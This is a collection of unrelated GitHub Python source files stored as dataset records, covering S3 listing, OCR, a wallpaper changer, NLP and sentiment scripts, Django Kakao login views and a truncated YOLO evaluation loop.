fname= os.path.join(dir_out, i)\n print('writing to ', fname)\n dat.to_csv(fname)\n \n# get TCGA files\n\nprint(\"getting TCGA file list from S3...\")\nall_tcga_files= sagemaker.s3.S3Downloader.list('s3://gmb-ds-dbgap/data/Digital_pathology/TCGA/')\nall_tcga_files= [i for i in all_tcga_files if i.endswith('.svs')]\ndat_TCGA= pd.DataFrame()\ndat_TCGA['File']= all_tcga_files\ndat_TCGA['Cancer']= dat_TCGA['File'].replace(\".*TCGA/\", \"\", regex= True).replace(\"/.*\", '', regex= True)\ndat_TCGA['Image']= dat_TCGA['File'].transform(lambda x: os.path.basename(x))\n\n\nlogging.info(\"generating output files\")\nlogging.info(\"output directory: %s\" % dir_out)\n\nofile= os.path.join(dir_out, 'all_TCGA.csv')\n\ndat_TCGA.to_csv(ofile)\n\n###############################################\n# end of workflow - upload results\n###############################################\n# directly uploading to s3\nlogging.info(\"uploading results to dedicated s3\")\nsagemaker.s3.S3Uploader.upload(ofile, 's3://gmb-ds-dbgap/test_dir/sagemaker_upload')\n\n\n\n### example output directory\nif False:\n print('\\n')\n print('** checking processing directory:')\n list_files(BASE_DIR) \n\n# all files under /opt/ml/processing/outputs will be automatically copied to the sagemaker s3 bucket\n","repo_name":"rajan-1992/sagemakermigration1","sub_path":"run_workflow.py","file_name":"run_workflow.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70692505229","text":"import pytesseract\r\nimport PIL\r\nimport cv2\r\n\r\npytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files (x86)\\\\Tesseract-OCR\\\\tesseract'\r\n\r\ndef image_to_text(input, output):\r\n while True:\r\n for key in input.keys():\r\n if input[key] is not None:\r\n\r\n frame, threshold = input[key]\r\n\r\n gray = cv2.cvtColor(frame, cv2.COLOR_RGBA2GRAY)\r\n resized = cv2.resize(gray, None, fx=7, fy=7, interpolation=cv2.INTER_CUBIC)\r\n\r\n if threshold == -1:\r\n thresh = cv2.threshold(resized, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)[1]\r\n else:\r\n thresh = cv2.threshold(resized, threshold, 255, cv2.THRESH_BINARY_INV)[1]\r\n\r\n blurred = cv2.blur(thresh, (7, 7))\r\n\r\n output[key] = (pytesseract.image_to_string(PIL.Image.fromarray(blurred)), blurred)","repo_name":"cryvosh/BOTFritz","sub_path":"tesser.py","file_name":"tesser.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"} +{"seq_id":"70795415308","text":"#!/usr/bin/env python3\n## Public Domain\n\n\nimport os\nimport pydbus\nimport random\nimport argparse\nfrom gi.repository import GLib\n\nparser = argparse.ArgumentParser(description=\"Set X11 root window BG using a file or folder and feh.\")\nparser.add_argument('src', metavar='path',\n\t\t help=\"Source file or folder.\")\nparser.add_argument('-r', '--random', action='store_true',\n\t\t help=\"Randomize image order.\")\nparser.add_argument('-t', '--time', metavar='SECONDS', type=int, default=3600,\n\t\t help=\"Time between changes.\")\nparser.add_argument('-s','--style', choices=['center', 'fill', 'max', 'scale', 'tile'], default='fill',\n\t\t help=\"In which style fill the background.\\n\" +\n\t\t \"Preserved ratio:\\n\" +\n\t\t \"* center: Keep the image in the center using the image resolution.\\n\" +\n\t\t \"* fill : Zoom the image until no corner is left untouched.\\n\" +\n\t\t \"* max : Zoom the image until it touches a corner.\\n\" +\n\t\t \"* tile : Repeat the image over the background.\\n\"+\n\t\t \"By ratio:\\n\" +\n\t\t \"* scale : Stretch and/or shrink the image until it fits.\")\n\nclass controlBus(object):\n\t\"\"\"\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\"\"\"\n\tPropertiesChanged = pydbus.generic.signal()\n\tBackgroundChanged = pydbus.generic.signal()\n\n\text_list = ['gif', 'png', 'tiff', 'jpeg', 'jpg']\n\n\tdef __init__(self):\n\t\targs = parser.parse_args()\n\n\t\tself.__random = args.random\n\t\tsource_name = os.path.expanduser(args.src)\n\t\tself.__image_list = []\n\t\tself.__delay = args.time\n\t\tself.__style = \"--bg-%s\" % args.style\n\n\t\tself.addFile(source_name)\n\t\tself.next()\n\t\tself.__timeout_handle = GLib.timeout_add(self.__delay*1000, self.next)\n\n\t# Methods\n\n\tdef next(self):\n\t\tif self.imageAvailable:\n\t\t\timage = self.__getImage(position=0)\n\t\t\tself.__setBackground(image)\n\n\t\t\tif self.random and len(self.__image_list) > 1:\n\t\t\t\tself.__randomNext()\n\t\t\treturn True\n\t\treturn False\n\n\tdef previous(self):\n\t\tself.__swap(-1, 0)\n\t\tself.__setBackground(self.__image_list[-1])\n\t\treturn True\n\n\tdef addFile(self, file):\n\t\tif os.path.isdir(file):\n\t\t\tfile_list = os.listdir(file)\n\t\t\tfor folder_file in file_list:\n\t\t\t\tfile_ext = folder_file.split(os.extsep)[-1]\n\t\t\t\tif file_ext not in self.ext_list:\n\t\t\t\t\tcontinue\n\t\t\t\tself.__image_list.append(os.path.join(file, folder_file))\n\t\telif os.path.exists(file):\n\t\t\tself.__image_list.append(file)\n\t\telse:\n\t\t\treturn False\n\t\treturn True\n\n\tdef addFileNext(self, file):\n\t\tif os.path.isdir(file):\n\t\t\tfile_list = os.listdir(file)\n\t\t\tfor folder_file in file_list:\n\t\t\t\tfile_ext = folder_file.split(os.extsep)[-1]\n\t\t\t\tif file_ext not in self.ext_list:\n\t\t\t\t\tcontinue\n\t\t\t\tself.__image_list.insert(0, os.path.join(file, folder_file))\n\t\telif os.path.exists(file):\n\t\t\tself.__image_list.append(0, file)\n\t\telse:\n\t\t\treturn False\n\t\treturn True\n\n\tdef removeFile(self, file):\n\t\tif file in self.__image_list:\n\t\t\tself.__image_list.remove(file)\n\t\t\treturn True\n\t\treturn False\n\n\t# Properties\n\n\t@property\n\tdef currentBackgroundFile(self):\n\t\treturn self.__image_list[-1]\n\n\t@property\n\tdef nextBackgroundFile(self):\n\t\treturn self.__image_list[0]\n\n\t@property\n\tdef previousBackgroundFile(self):\n\t\treturn self.__image_list[-2]\n\n\t@property\n\tdef imageAvailable(self, value=None):\n\t\treturn len(self.__image_list) > 1\n\n\t@property\n\tdef fileList(self):\n\t\treturn str(self.__image_list)\n\n\t# TODO Setter for random and delay\n\t@property\n\tdef random(self):\n\t\treturn self.__random\n\n\t@property\n\tdef delay(self):\n\t\treturn self.__delay\n\n\t# Utils\n\n\tdef __getImage(self, position):\n\t\treturn self.__swap(position, -1)\n\n\tdef __setBackground(self, image):\n\t\t# TODO send BackgroundChanged signal\n\t\tos.system(\"feh %s '%s'\" % (self.__style, image))\n\n\tdef __randomNext(self):\n\t\tpos = random.randint(0, len(self.__image_list) - 2)\n\t\tself.__swap(pos, 0)\n\n\tdef __swap(self, fromPosition, toPosition):\n\t\timage = self.__image_list.pop(fromPosition)\n\t\tif toPosition < 0:\n\t\t\tif toPosition == -1:\n\t\t\t\tself.__image_list.append(image)\n\t\t\telse:\n\t\t\t\tself.__image_list.insert(toPosition+1, image)\n\t\telse:\n\t\t\tself.__image_list.insert(toPosition, image)\n\t\treturn image\n","repo_name":"Hattshire/wallpoppy","sub_path":"wallpoppy/bg.py","file_name":"bg.py","file_ext":"py","file_size_in_byte":6001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21292756286","text":"import os\nimport sys\nimport argparse\nimport glob\nimport json\nimport pandas as pd\n\nimport validator\nimport utils.utils as utils\n\n\"\"\"\n Run the performance benchmarking tool against a multiple git branches\n\"\"\"\n\n# Initial list of branches that we are testing\nDEFAULT_BRANCHES = [\n \"BaseQual\",\n \"MapQual\",\n \"Ploidy\",\n \"VarQual\",\n \"ReadDepth\",\n \"ForRevAltRead\",\n \"AltProportion\",\n \"SNPwindow\",\n \"RepeatMask\",\n \"v1\",\n \"v2\",\n \"master\"\n]\n\ndef ofat(btb_seq_path, genomes_path, reads_path, output_path, branches=DEFAULT_BRANCHES):\n \"\"\" Runs a performance test against the pipeline\n\n Parameters:\n btb_seq_path (str): Path to btb-seq code is stored\n results_path (str): Output path to performance test results\n branches (list): List of strings for each git branch to test\n \"\"\"\n # Add trailing slash\n btb_seq_path = os.path.join(btb_seq_path, '')\n output_path = os.path.join(output_path, '') \n \n # Benchmark the branches\n failed_branches = []\n\n for branch in branches:\n # Make output path\n branch_path = os.path.join(output_path, branch)\n os.makedirs(branch_path)\n\n try:\n utils.checkout(btb_seq_path, branch)\n \n # Run\n validator.sequence_and_benchmark(\n btb_seq_path, \n genomes_path, \n reads_path, \n branch_path, \n True\n )\n\n except Exception as e:\n print(e)\n print(f\"***FAILED BRANCH: {branch}****\", branch)\n failed_branches.append(branch)\n\n if failed_branches:\n print(\"FAILED BRANCHES: \", failed_branches)\n\n else:\n print(\"No failed branches :)\")\n\ndef analyse(root_path):\n \"\"\" Analyse results from an ofat run\n\n Parameters:\n root_path (str): Path to parent directory where \n results from ofat trials are stored\n \"\"\"\n\n # Determine path of each trial\n paths = glob.glob(root_path + '/*')\n\n # Initialise output data columns\n fns = []\n fps = []\n tps = []\n branch_names = []\n\n # Collect data from each trial\n for path in paths:\n # Initialised trial data\n branch = os.path.basename(path)\n stats_path = path + '/stats.json'\n\n fn = 'FAIL'\n fp = 'FAIL'\n tp = 'FAIL'\n\n # Log \n if os.path.exists(stats_path):\n with open(stats_path, 'r') as file:\n data = json.load(file)\n\n fn = data['fn']\n fp = data['fp']\n tp = data['tp']\n\n # Add to output\n fns.append(fn)\n fps.append(fp)\n tps.append(tp)\n branch_names.append(branch)\n\n return pd.DataFrame(data={\n \"branch\": branch_names,\n \"fn\": fns,\n \"fp\": fps,\n \"tp\": tps\n })\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Run the performance benchmarking tool against a number of git branches\")\n\n parser.add_argument(\"btb_seq\", help=\"path to btb-seq code directory\")\n parser.add_argument(\"genomes\", help=\"path to simulated genomes directory\")\n parser.add_argument(\"reads\", help=\"path to reads directory\")\n parser.add_argument(\"results\", help=\"path to results directory\")\n\n args = parser.parse_args(sys.argv[1:])\n\n # Run\n ofat(args.btb_seq, args.genomes, args.reads, args.results)","repo_name":"APHA-CSU/snp-validation","sub_path":"ofat.py","file_name":"ofat.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7597638277","text":"from Dyna_Q import Dyna_Q\nfrom maze import Maze \nimport matplotlib.pyplot as plt\n\ntotal_episodes=500\nenv=Maze()\nagent=Dyna_Q(4, 0.3)\nsteps=[]\nfor epi in range(total_episodes):\n\tstate=env.reset()\n\tstep=0\n\twhile True:\n\t\taction=agent.chooseAction(state)\n\t\tnext_state, reward, done = env.step(action)\n\t\tagent.learn(state, action, reward, next_state)\n\t\tagent.saveToModel(state, action, reward, next_state)\n\t\tagent.learnFromModel(30)\n\t\tif done:\n\t\t\tresult = 'Well' if reward == 5 else 'Bad'\n\t\t\tsteps.append(step)\t\n\t\t\tprint('episode:{}\\ttotal_steps:{}\\tresult:{}'.format(epi+1, step, result))\n\t\t\tbreak\n\t\tstate=next_state\n\t\tstep+=1\nplt.plot(steps)\nplt.show()\t\n","repo_name":"zhangshuomo/Tensorflow-ReinforcementLearning","sub_path":"3. Dyna-Q/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6360001467","text":"from nltk.corpus import twitter_samples\nimport re\nfrom nltk.tokenize import sent_tokenize, word_tokenize, TweetTokenizer\n\ntweet_tokenizer = TweetTokenizer(preserve_case=False, strip_handles=True, reduce_len=True)\nall_tweets = twitter_samples.strings('tweets.20150430-223406.json')\n\n# Total Number of Hashtags\nhashTagCounter = 0\nfor tweets in all_tweets:\n hashtag_list = re.findall(r'\\B#\\w*[a-zA-Z]+\\w*', tweets)\n hashTagCounter = hashTagCounter+len(hashtag_list)\n\nprint(hashTagCounter)\n\n# Total number of mentions\nmentionsCounter = 0\nfor tweets in all_tweets:\n\n mentionsList = re.findall(r'\\B@\\w*[a-zA-Z]+\\w*', tweets)\n #print(mentionsList)\n mentionsCounter = mentionsCounter+len(mentionsList)\n\nprint(mentionsCounter)\n\n# Total number of URLs\nURLCounter = 0\nfor tweets in all_tweets:\n urlList = re.findall(r'^https?:\\/\\/.*[\\r\\n]*', tweets)\n URLCounter = URLCounter+len(urlList)\n\nprint(URLCounter)\n\n# Removing hashtag and mentions from tweets\nfor tweets in all_tweets:\n print(\"Old String is : \"+tweets)\n newTweetString = re.sub(\"@[A-Za-z0-9_]+\", \"\", tweets)\n newTweetString = re.sub(\"#[A-Za-z0-9_]+\", \"\", newTweetString)\n print(\"New String is : \"+newTweetString)","repo_name":"savlaanishgit/NLP220_Assignment_1","sub_path":"Part3.py","file_name":"Part3.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1579852639","text":"import unittest\nfrom plone import api\nfrom plone.app.testing import helpers, SITE_OWNER_NAME\nfrom slc.outdated.tests.base import INTEGRATION_TESTING\n\n\nclass TestIndexer(unittest.TestCase):\n layer = INTEGRATION_TESTING\n\n def setUp(self):\n self.portal = self.layer[\"portal\"]\n helpers.login(self.layer[\"app\"], SITE_OWNER_NAME)\n self.testfile = api.content.create(\n self.portal, type=\"File\", title=\"A Test File\"\n )\n\n def test_indexer(self):\n toggleview = self.testfile.restrictedTraverse(\"object_toggle_outdated\")\n toggleview()\n catalog = api.portal.get_tool(\"portal_catalog\")\n result = catalog(UID=api.content.get_uuid(self.testfile))\n self.assertTrue(result[0][\"outdated\"])\n","repo_name":"collective/slc.outdated","sub_path":"src/slc/outdated/tests/test_adapter.py","file_name":"test_adapter.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"21519372724","text":"\nimport torch\nfrom fairseq.models.roberta import RobertaModel\nimport re\n\nMNLI_PATH = 'roberta.large.mnli'\n\nroberta = RobertaModel.from_pretrained(MNLI_PATH).eval()\n\n\ndef get_similarity(question, target, evall):\n question = re.sub('[\\n\\r]+', '', question)\n target = re.sub('[\\n\\r]+', '', target)\n evall = re.sub('[\\n\\r]+', '', evall)\n\n tokens_q_t = roberta.encode(question, target)\n logits_q_t = roberta.predict('mnli', tokens_q_t, return_logits=True)\n pred_q_t = torch.nn.Softmax(dim=1)(logits_q_t).detach().numpy()[0]\n\n tokens_q_e = roberta.encode(question, evall)\n logits_q_e = roberta.predict('mnli', tokens_q_e, return_logits=True)\n pred_q_e = torch.nn.Softmax(dim=1)(logits_q_e).detach().numpy()[0]\n\n tokens_t_e = roberta.encode(target, evall)\n logits_t_e = roberta.predict('mnli', tokens_t_e, return_logits=True)\n pred_t_e = torch.nn.Softmax(dim=1)(logits_t_e).detach().numpy()[0]\n\n print('====== RoBERTa ======')\n print('Question x Target: {}'.format(pred_q_t))\n print('Question x Eval: {}'.format(pred_q_e))\n print('Target x Eval: {}'.format(pred_t_e))\n return pred_t_e\n","repo_name":"renatoviolin/autograde-deeplearning","sub_path":"src/roberta_mnli.py","file_name":"roberta_mnli.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"70592125388","text":"import json\nfrom datetime import datetime\nfrom json import JSONDecodeError\n\nimport jwt\nfrom django.contrib.auth import authenticate\nfrom django.shortcuts import redirect\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom allauth.socialaccount.models import SocialAccount\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\nfrom rest_framework_simplejwt.token_blacklist.models import OutstandingToken, BlacklistedToken\nimport requests\nimport os\n\nfrom .serializers import *\n\nBASE_URL = 'http://127.0.0.1:8000/'\n# KAKAO_CALLBACK_URI = BASE_URL + 'account/kakao/callback/'\nKAKAO_LOGOUT_URI = BASE_URL + 'account/kakao/logout/callback/'\n\nSECRET_KEY = os.environ.get('SECRET_KEY')\nALGORITHM = os.environ.get('ALGORITHM')\n\n\n# def kakao_login(request):\n# client_id = os.environ.get(\"SOCIAL_AUTH_KAKAO_CLIENT_ID\")\n# return redirect(f\"https://kauth.kakao.com/oauth/authorize?client_id={client_id}&redirect_uri={KAKAO_CALLBACK_URI}&response_type=code\")\n\n\ndef login(user):\n for token in OutstandingToken.objects.filter(user=user):\n BlacklistedToken.objects.get_or_create(token=token)\n\n token = TokenObtainPairSerializer.get_token(user)\n\n data = {\n 'name': user.name,\n 'email': user.email,\n 'gender': user.gender,\n }\n\n return data, token\n\n\nclass KakaoLoginView(APIView):\n\n def post(self, request):\n access_token = request.data.get('access_token')\n\n # 카카오 계정 로그인일 경우\n if access_token:\n # access token으로 카카오 계정 정보 가져오기\n url = \"https://kapi.kakao.com/v2/user/me\"\n headers = {\n \"Authorization\": f\"Bearer {access_token}\",\n \"Content-type\": \"application/x-www-form-urlencoded; charset=utf-8\"\n }\n user_information = requests.get(url, headers=headers).json()\n print(f\"(3) {user_information}\")\n email = user_information.get(\"email\")\n\n try:\n user = User.objects.get(email=email)\n print(f\"105 line: {user.name}\")\n\n login(user)\n\n except User.DoesNotExist:\n social_id = user_information.get(\"id\")\n\n if user_information['kakao_account']['gender'] == \"male\":\n gender = \"M\"\n elif user_information['kakao_account']['gender'] == \"female\":\n gender = \"F\"\n else:\n gender = None\n\n new_user = User.objects.create_social_user(\n email=user_information['kakao_account'].get('email', None),\n social_id=social_id,\n name=user_information['properties'].get('nickname'),\n gender=gender,\n )\n new_user.set_unusable_password()\n new_user.save()\n\n SocialAccount.objects.create(\n user=new_user,\n provider='kakao',\n uid=social_id,\n )\n data = {\n 'name': new_user.name,\n 'email': new_user.email,\n 'gender': new_user.gender\n }\n token = TokenObtainPairSerializer.get_token(new_user)\n\n res = Response({'user': data, 'refresh': str(token), 'access': str(token.access_token), \"msg\": \"회원가입 성공\"}, status=status.HTTP_201_CREATED)\n res.set_cookie('access', str(token.access_token))\n res.set_cookie('refresh', str(token))\n\n return res\n # 일반 로그인일 경우\n else:\n inform = request.data.get('data')\n print(inform)\n\n try:\n email = inform['email']\n password = inform['password']\n print(\"line116\")\n user = User.objects.get(email=email)\n auth = authenticate(email=email, password=password)\n print(auth)\n data, token = login(auth)\n\n res = Response(\n {'refresh': str(token), 'access': str(token.access_token), \"msg\": \"로그인 성공\"},\n status=status.HTTP_200_OK)\n res.set_cookie('access', str(token.access_token))\n res.set_cookie('refresh', str(token))\n\n return res\n\n except User.DoesNotExist:\n print(inform['birth'])\n new_user = User.objects.create_normal_user(\n email=inform['email'],\n password=inform['password'],\n name=inform['name'],\n birth=datetime.strptime(inform['birth'], '%Y-%m-%d').date(),\n gender=inform['gender'],\n )\n new_user.save()\n\n # token = TokenObtainPairSerializer.get_token(new_user)\n\n # res = Response(\n # {'user': data, 'refresh': str(token), 'access': str(token.access_token), \"msg\": \"회원가입 성공\"},\n # status=status.HTTP_201_CREATED)\n # res.set_cookie('access', str(token.access_token))\n # res.set_cookie('refresh', str(token))\n\n return Response(status=status.HTTP_201_CREATED)\n\n\ndef kakao_logout(request):\n client_id = os.environ.get(\"SOCIAL_AUTH_KAKAO_CLIENT_ID\")\n\n return redirect(f\"https://kauth.kakao.com/oauth/logout?client_id={client_id}&logout_redirect_uri={KAKAO_LOGOUT_URI}\")\n\n\nclass LogoutView(APIView):\n def post(self, request):\n refresh_token = request.data.get('refresh')\n\n if not refresh_token:\n return Response({\"err_msg\": \"유효하지 않거나 만료된 토큰입니다.\"}, status=status.HTTP_400_BAD_REQUEST)\n payload = jwt.decode(str(refresh_token), SECRET_KEY, ALGORITHM)\n user_id = payload.get('user_id')\n\n for token in OutstandingToken.objects.filter(user_id=user_id):\n BlacklistedToken.objects.get_or_create(token=token)\n\n res = Response({'success': f\"{user_id} 로그아웃 성공\"}, status=status.HTTP_200_OK)\n\n res.set_cookie('access', None)\n res.set_cookie('refresh', None)\n\n return res\n\n\nclass SignOutView(APIView):\n\n def delete(self, request, *args, **kwargs):\n kakao_signout_api = 'https://kapi.kakao.com/v1/user/unlink'\n admin_key = os.environ.get(\"KAKAO_ADMIN_KEY\")\n\n token = request.headers.get('Authorization').split(' ')[1]\n print(token)\n if not token:\n return Response({\"err_msg\": \"토큰 없음\"}, status=status.HTTP_200_OK)\n payload = jwt.decode(str(token), SECRET_KEY, ALGORITHM)\n user_id = payload.get('user_id')\n\n try:\n user = User.objects.get(id=user_id)\n social_id = user.social_id\n\n headers = {\"Authorization\": f\"KakaoAK {admin_key}\"}\n data = {\"target_id_type\": \"user_id\", \"target_id\": social_id}\n logout_response_json = requests.post(kakao_signout_api, headers=headers, data=data).json()\n\n response = logout_response_json.get(\"id\")\n if social_id != response:\n return Response({\"err_msg\": \"회원탈퇴 실패\"})\n\n user.delete()\n return Response({'msg': f\"{user.name} 회원 탈퇴 완료\"}, status=status.HTTP_204_NO_CONTENT)\n except User.DoesNotExist:\n return Response({'msg: 회원 없음'}, status=status.HTTP_404_NOT_FOUND)\n\n\nclass AuthAPIView(APIView):\n def get(self, request):\n try:\n token = request.headers.get('Authorization').split(' ')[1]\n if not token:\n return Response({\"err_msg\": \"토큰 없음\"}, status=status.HTTP_200_OK)\n\n payload = jwt.decode(str(token), SECRET_KEY, ALGORITHM)\n\n user_id = payload.get('user_id')\n user = User.objects.get(id=user_id)\n print(user)\n user_type = \"\"\n c_id = \"\"\n\n if Counselor.objects.filter(userkey_id=user_id): # 상담사\n counselor = Counselor.objects.get(userkey=user_id)\n user_type = \"counselor\"\n c_id = counselor.id\n elif Counselee.objects.filter(userkey_id=user_id): # 내담자\n counselee = Counselee.objects.get(userkey=user_id)\n user_type = \"counselee\"\n c_id = counselee.id\n else:\n return Response({'msg': '회원 유형 없음'}, status=status.HTTP_404_NOT_FOUND)\n\n print(user_type)\n serializer = UserSerializer(instance=user)\n print(serializer.data)\n data = {\n 'id': c_id,\n 'social_id': serializer.data['social_id'],\n 'email': serializer.data['email'],\n 'name': serializer.data['name'],\n 'gender': serializer.data['gender'],\n 'type': user_type,\n }\n return Response(data, status=status.HTTP_200_OK)\n except jwt.exceptions.InvalidTokenError:\n res = Response({'err_msg': '사용불가토큰'}, status=status.HTTP_401_UNAUTHORIZED)\n return res\n\n\nclass UserTypeView(APIView):\n def post(self, request):\n user_type = request.data.get('user_type')\n access_token = request.headers.get('Authorization').split(' ')[1]\n refresh_token = request.headers.get('refresh')\n\n if not access_token:\n return Response({\"err_msg\": \"토큰 없음\"}, status=status.HTTP_200_OK)\n\n payload = jwt.decode(str(access_token), SECRET_KEY, ALGORITHM)\n\n user_id = payload.get('user_id')\n user = User.objects.get(id=user_id)\n\n # Counselor일 경우\n if user_type == 0:\n new_counselor = Counselor.objects.create(\n userkey=user\n )\n data = {\n 'counselor_id': new_counselor.id,\n 'name': user.name,\n 'email': user.email,\n 'gender': user.gender,\n }\n return Response({'user': data, 'refresh': str(refresh_token), 'access': str(access_token), \"msg\": \"상담사 회원가입 성공\"}, status=status.HTTP_200_OK)\n # Counselee일 경우\n elif user_type == 1:\n new_counselee = Counselee.objects.create(\n userkey=user\n )\n data = {\n 'counselee_id': new_counselee.id,\n 'name': user.name,\n 'email': user.email,\n 'gender': user.gender\n }\n return Response({'user': data, 'refresh': str(refresh_token), 'access': str(access_token), \"msg\": \"내담자 회원가입 성공\"}, status=status.HTTP_200_OK)\n else:\n return Response({\"msg\": \"상담사 또는 내담자를 선택하세요\"}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CounselorView(APIView):\n def get(self, request):\n print('token = '+request.header.get('Authorization'))\n token = request.headers.get('Authorization').split(' ')[1]\n print(token)\n if not token:\n return Response({\"err_msg\": \"토큰 없음\"}, status=status.HTTP_200_OK)\n\n payload = jwt.decode(str(token), SECRET_KEY, ALGORITHM)\n user_id = payload.get('user_id')\n\n if Counselor.objects.filter(userkey_id=user_id).exists():\n counselor = Counselor.objects.get(userkey_id=user_id)\n serializer = CounselorSerializer(counselor)\n print(serializer.data)\n data = {\n 'counselor_id': serializer.data['id'],\n 'email': serializer.data['userkey']['email'],\n 'name': serializer.data['userkey']['name'],\n 'gender': serializer.data['userkey']['gender'],\n 'institution_name': serializer.data['institution_name'],\n 'institution_address': serializer.data['institution_address'],\n 'prof_field': serializer.data['prof_field'],\n }\n return Response({\"type\": \"NEW_COUNSELOR\", \"counselor\": data}, status=status.HTTP_200_OK)\n else:\n return Response({\"msg\": \"상담사가 존재하지 않습니다.\"}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CounseleeView(APIView):\n def get(self, request):\n print(\"line294\")\n token = request.headers.get('Authorization').split(' ')[1]\n print(token)\n if not token:\n return Response({\"err_msg\": \"토큰 없음\"}, status=status.HTTP_200_OK)\n\n payload = jwt.decode(str(token), SECRET_KEY, ALGORITHM)\n user_id = payload.get('user_id')\n\n if Counselor.objects.filter(userkey=user_id).exists(): # 요청한 사람이 상담사인지 확인\n print(request.GET.get('email'))\n user = User.objects.get(email=request.GET.get('email'))\n counselee = Counselee.objects.get(userkey_id=user.id)\n serializer = CounseleeSerializer(counselee)\n data = {\n 'id': serializer.data['id'],\n 'email': serializer.data['userkey']['email'],\n 'name': serializer.data['userkey']['name'],\n 'gender': serializer.data['userkey']['gender'],\n }\n return Response(data, status=status.HTTP_200_OK)\n else:\n return Response({\"msg\": \"내담자가 존재하지 않습니다.\"}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CounselingTypeView(APIView):\n def get(self, request):\n types = CounselingType.objects.all()\n serializer = CounselingTypeSerializer(types, many=True)\n\n return Response(serializer.data)","repo_name":"wjdals898/unlockBackend","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21356425974","text":"import sys\n\ndef create_sent_dict(sentiment_file):\n \"\"\"A function that creates a dictionary which contains terms as keys and their sentiment score as value\n\n Args:\n sentiment_file (string): The name of a tab-separated file that contains\n all terms and scores (e.g., the AFINN file).\n\n Returns:\n dicitonary: A dictionary with schema d[term] = score\n \"\"\"\n scores = {}\n\n afinnfile = open(sentiment_file, 'r')\n scores = {}\n for line in afinnfile:\n term, score = line.split('\\t')\n scores[term] = int(score)\n\n afinnfile.close()\n\n return scores\n\ndef get_tweet_sentiment(tweet, sent_scores):\n \"\"\"A function that find the sentiment of a tweet and outputs a sentiment score.\n\n Args:\n tweet (string): A clean tweet\n sent_scores (dictionary): The dictionary output by the method create_sent_dict\n\n Returns:\n score (numeric): The sentiment score of the tweet\n \"\"\"\n score = 0\n\n words = tweet.split()\n\n i = 0\n while(i= batch_inference:\n break\n\n\n image, bboxes = sample[\"image\"], sample[\"bboxes\"]\n\n if b == 0 or batch_inference is None:\n out_images = torch.zeros(1, image.shape[1], image.shape[2], image.shape[3])\n\n if self.args.cuda:\n image, bboxes = image.cuda(), bboxes.cuda()\n\n t0 = time.time()\n with torch.no_grad():\n preds = model(image)\n num_frames += 1\n\n for res_idx, pred in enumerate(preds):\n # calculate loss for every resolution\n curr_res_output = self.yolo_loss(pred)\n if res_idx == 0:\n output = curr_res_output\n else:\n output = torch.cat((output, curr_res_output), dim=1)\n\n t_preds = time.time()\n\n # discard all bboxes with conf < threshold:\n confident_bboxes = output[output[..., 4] > self.args.conf_thres, :]\n if confident_bboxes.numel() == 0:\n detections = confident_bboxes # empty tensor\n\n else:\n predicted_cls = torch.argmax(confident_bboxes[..., 6:], dim=-1).cpu().numpy()\n\n # finding all possible classes in image\n all_cls_in_image = np.unique(predicted_cls)\n\n detections = []\n # performing nms for each class separately.\n # all detections will be appended and later concatenated to single tensor\n for curr_cls in all_cls_in_image:\n boxes = confident_bboxes[predicted_cls==curr_cls, :4]\n w = boxes[:, 2]\n h = boxes[:, 3]\n x1 = boxes[:, 0] - w / 2\n y1 = boxes[:, 1] - h / 2\n x2 = boxes[:, 0] + w / 2\n y2 = boxes[:, 1] + h / 2\n boxes[:, 0] = x1\n boxes[:, 1] = y1\n boxes[:, 2] = x2\n boxes[:, 3] = y2\n\n curr_detection_idx = nms(boxes=boxes,\n scores=confident_bboxes[predicted_cls==curr_cls, 6 + curr_cls],\n iou_threshold=self.args.nms_thres)\n\n curr_bboxes = confident_bboxes[curr_detection_idx, :4]\n curr_dist = confident_bboxes[curr_detection_idx, 5].view(-1, 1)\n curr_cls = torch.Tensor(curr_detection_idx.shape[0], 1).cuda().fill_(curr_cls)\n\n 